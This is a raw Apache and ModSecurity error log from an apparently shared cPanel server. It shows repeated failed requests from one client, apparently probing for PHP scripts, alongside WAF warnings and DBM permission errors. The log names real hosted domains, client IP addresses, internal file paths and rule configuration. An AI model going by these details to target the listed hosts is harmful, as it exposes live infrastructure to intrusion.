[Fri Jul 17 10:01:44.565779 2026] [security2:error] [pid 2034024:tid 2034024] [client 47.82.14.29:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/246:1/device/subsystem/drivers/virtio-pci/0000:00:03.0/remove"] [unique_id "almwMI-0g_VSPeIeFN3MTgAAAAs"]
[Fri Jul 17 10:01:44.565811 2026] [security2:error] [pid 2034024:tid 2034024] [client 47.82.14.29:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/246:1/device/subsystem/drivers/virtio-pci/0000:00:03.0/remove"] [unique_id "almwMI-0g_VSPeIeFN3MTgAAAAs"]
[Fri Jul 17 10:01:44.599822 2026] [proxy_fcgi:error] [pid 2065297:tid 2065297] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:44.644887 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:44.761311 2026] [proxy_fcgi:error] [pid 2064882:tid 2064882] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:44.864544 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:44.876119 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:44.932566 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:44.936187 2026] [proxy_fcgi:error] [pid 2063883:tid 2063883] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:45.038352 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:45.042900 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:45.058522 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:45.065796 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:45.097463 2026] [proxy_fcgi:error] [pid 2065297:tid 2065297] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:45.259565 2026] [proxy_fcgi:error] [pid 2064882:tid 2064882] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:45.348901 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:45.407923 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:60144] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:45.424106 2026] [proxy_fcgi:error] [pid 2063883:tid 2063883] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:45.609564 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:45.688825 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:45.706984 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:60162] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:45.769690 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:45.949747 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:46.109766 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:46.271738 2026] [proxy_fcgi:error] [pid 2064879:tid 2064879] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:46.436470 2026] [proxy_fcgi:error] [pid 2063883:tid 2063883] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:46.599698 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:46.763014 2026] [proxy_fcgi:error] [pid 2065293:tid 2065293] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:46.926007 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:47.088344 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:47.268401 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:47.479996 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:47.482150 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:47.697282 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:47.731714 2026] [proxy_fcgi:error] [pid 2064882:tid 2064882] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:48.091980 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:48.124717 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:48.145131 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:48.210514 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:48.218808 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:48.243533 2026] [mime:warn] [pid 2064882:tid 2064882] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:48.279346 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:48.291126 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:48.385996 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:48.549750 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:48.711179 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:48.871287 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:48.979789 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:48.988581 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:49.042942 2026] [proxy_fcgi:error] [pid 2065293:tid 2065293] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:49.207173 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:49.368563 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:49.528970 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:49.699024 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:49.859083 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:50.049454 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:50.212369 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:50.380496 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:50.541427 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:50.655545 2026] [security2:error] [pid 2065296:tid 2065296] [client 43.153.96.233:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/maximsholdings-global": Permission denied [hostname "www.maximsholdings.com"] [uri "/index.php"] [unique_id "almwNqalZQB2GOvLY17cYAAAAAc"], referer: http://www.maximsholdings.com
[Fri Jul 17 10:01:50.655578 2026] [security2:error] [pid 2065296:tid 2065296] [client 43.153.96.233:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/maximsholdings-ip": Permission denied [hostname "www.maximsholdings.com"] [uri "/index.php"] [unique_id "almwNqalZQB2GOvLY17cYAAAAAc"], referer: http://www.maximsholdings.com
[Fri Jul 17 10:01:50.703922 2026] [proxy_fcgi:error] [pid 2064879:tid 2064879] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:50.873590 2026] [proxy_fcgi:error] [pid 2063883:tid 2063883] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:51.055217 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:51.153113 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:60414] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:51.215591 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:51.392554 2026] [proxy_fcgi:error] [pid 2063889:tid 2063889] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:51.552793 2026] [proxy_fcgi:error] [pid 2064882:tid 2064882] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:51.572098 2026] [ssl:error] [pid 2065296:tid 2065296] (70014)End of file found: [client 66.85.158.91:54422] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:51.718885 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:51.881795 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:52.063067 2026] [proxy_fcgi:error] [pid 2063442:tid 2063442] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:52.579104 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:53.176872 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:53.915088 2026] [proxy_fcgi:error] [pid 2063442:tid 2063442] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:54.256505 2026] [proxy_fcgi:error] [pid 2063883:tid 2063883] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:54.751237 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:54.914915 2026] [proxy_fcgi:error] [pid 2064882:tid 2064882] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:55.399881 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:55.898021 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:56.058447 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:56.488327 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:56.667668 2026] [proxy_fcgi:error] [pid 2050576:tid 2050576] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:56.833375 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:57.042415 2026] [proxy_fcgi:error] [pid 2063442:tid 2063442] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:57.055121 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:55142] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:57.214141 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:57.387993 2026] [proxy_fcgi:error] [pid 2065296:tid 2065296] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:57.439457 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:55166] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:57.584978 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:57.748788 2026] [proxy_fcgi:error] [pid 2063889:tid 2063889] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:58.075963 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:58.237019 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:58.403370 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:58.568547 2026] [proxy_fcgi:error] [pid 2065296:tid 2065296] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:58.911215 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:59.389880 2026] [proxy_fcgi:error] [pid 2065296:tid 2065296] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:59.551736 2026] [proxy_fcgi:error] [pid 2050576:tid 2050576] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:59.711464 2026] [proxy_fcgi:error] [pid 2063889:tid 2063889] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:59.875752 2026] [proxy_fcgi:error] [pid 2064882:tid 2064882] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:00.263398 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:00.779606 2026] [proxy_fcgi:error] [pid 2065296:tid 2065296] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:00.900703 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:55320] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:01.290037 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:01.454466 2026] [proxy_fcgi:error] [pid 2050576:tid 2050576] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:01.615295 2026] [proxy_fcgi:error] [pid 2063442:tid 2063442] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:01.939220 2026] [proxy_fcgi:error] [pid 2065293:tid 2065293] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:02.014254 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almwQVCBpfuYyhJ140vezAAAAB4"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1166&page_105=1150
[Fri Jul 17 10:02:02.014299 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almwQVCBpfuYyhJ140vezAAAAB4"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1166&page_105=1150
[Fri Jul 17 10:02:02.102992 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:02.423683 2026] [proxy_fcgi:error] [pid 2064879:tid 2064879] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:02.583028 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:02.746127 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:02.906776 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:60242] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:03.068610 2026] [proxy_fcgi:error] [pid 2064882:tid 2064882] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:03.397156 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:03.515820 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:60268] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:03.595161 2026] [proxy_fcgi:error] [pid 2065293:tid 2065293] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:03.758086 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:03.919490 2026] [proxy_fcgi:error] [pid 2050576:tid 2050576] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:04.082401 2026] [proxy_fcgi:error] [pid 2064882:tid 2064882] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:04.243811 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:04.405648 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:04.406241 2026] [security2:error] [pid 2063463:tid 2063463] [client 20.206.89.130:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/simpurit-global": Permission denied [hostname "simpurity.lk"] [uri "/aa2.php"] [unique_id "almwRP72foAPmCnen3SqwgAAABs"]
[Fri Jul 17 10:02:04.406263 2026] [security2:error] [pid 2063463:tid 2063463] [client 20.206.89.130:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/simpurit-ip": Permission denied [hostname "simpurity.lk"] [uri "/aa2.php"] [unique_id "almwRP72foAPmCnen3SqwgAAABs"]
[Fri Jul 17 10:02:04.574367 2026] [proxy_fcgi:error] [pid 2065293:tid 2065293] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:04.739971 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:04.900369 2026] [proxy_fcgi:error] [pid 2050576:tid 2050576] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:05.063350 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:05.225001 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:05.289212 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:60368] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:05.390325 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:05.550237 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:05.712752 2026] [proxy_fcgi:error] [pid 2064882:tid 2064882] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:05.872997 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:06.041502 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:06.203557 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:06.685516 2026] [proxy_fcgi:error] [pid 2064882:tid 2064882] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:07.005827 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:07.175268 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:07.335316 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:07.661084 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:07.821316 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:07.991549 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:08.074370 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:08.158375 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:08.318394 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:60442] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:08.327700 2026] [proxy_fcgi:error] [pid 2050576:tid 2050576] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:08.487832 2026] [proxy_fcgi:error] [pid 2064882:tid 2064882] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:08.649596 2026] [proxy_fcgi:error] [pid 2063883:tid 2063883] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:08.814236 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:02:13.725795 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:41898] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:17.971381 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:42044] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:18.222215 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:20.018412 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:42122] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:02:20.484679 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:21.367831 2026] [mime:warn] [pid 2064882:tid 2064882] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:21.794542 2026] [security2:error] [pid 2063463:tid 2063463] [client 66.132.186.194:29116] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/"] [unique_id "almwVf72foAPmCnen3SqzwAAABs"]
[Fri Jul 17 10:02:22.046487 2026] [security2:error] [pid 2034024:tid 2034024] [client 66.132.186.194:29130] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/cgi-sys/suspendedpage.cgi"] [unique_id "almwVo-0g_VSPeIeFN3McgAAAAs"]
[Fri Jul 17 10:02:22.057528 2026] [cgi:error] [pid 2034024:tid 2034024] [client 66.132.186.194:29130] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden
[Fri Jul 17 10:02:22.057613 2026] [cgi:error] [pid 2034024:tid 2034024] [client 66.132.186.194:29130] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157.
[Fri Jul 17 10:02:22.242167 2026] [security2:error] [pid 2063895:tid 2063895] [client 66.132.186.194:29136] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/favicon.ico"] [unique_id "almwVhf3V7HXByUCfDSxkwAAABY"]
[Fri Jul 17 10:02:22.268149 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:22.268236 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:22.268289 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:02:22.268330 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
